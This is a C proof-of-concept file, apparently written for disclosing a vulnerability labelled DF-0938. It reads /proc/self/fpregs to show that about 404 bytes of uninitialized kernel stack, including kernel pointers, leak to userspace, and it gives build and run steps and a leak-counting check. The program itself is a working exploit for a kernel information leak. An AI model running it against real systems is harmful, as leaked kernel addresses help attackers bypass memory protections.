/*
 * poc.c - DF-0938 PoC: uninitialized kernel stack leak via
 *         /proc/self/fpregs read.
 *
 * procfs_dofpregs declares struct fpreg r without zeroing; fill_fpregs
 * only writes 108 of 512 bytes on cpu_fxsr=true path; uiomove_frombuf
 * copies all 512 bytes to userspace. ~404 bytes of stale kernel stack
 * (pointers, return addrs, cred/vmspace pointers) are leaked per read.
 *
 * Build: cc -O2 -o poc poc.c
 * Run:   ./poc | hexdump -C | sed -n '7,40p'
 */
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

int
main(void)
{
    unsigned char buf[512];
    ssize_t n;

    int fd = open("/proc/self/fpregs", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    /* Poison so we can see what the kernel actually returned vs. what
     * we pre-filled. */
    memset(buf, 0xAA, sizeof(buf));

    n = read(fd, buf, sizeof(buf));
    if (n < 0) {
        perror("read");
        return 1;
    }
    fprintf(stderr, "read %zd bytes\n", n);

    write(1, buf, n);

    /* Success criterion: bytes 108..511 contain values other than
     * 0x00 and 0xAA — those are leaked kernel-stack contents
     * (kernel-virtual pointers in 0xffff80xxxxxxxxxx, etc.). */
    int leaked = 0;
    for (int i = 108; i < n; i++) {
        if (buf[i] != 0x00 && buf[i] != 0xAA) {
            leaked++;
        }
    }
    fprintf(stderr, "%d non-zero non-0xAA bytes in tail [108..%zd) "
            "(leaked kernel stack)\n", leaked, n);

    close(fd);
    return 0;
}
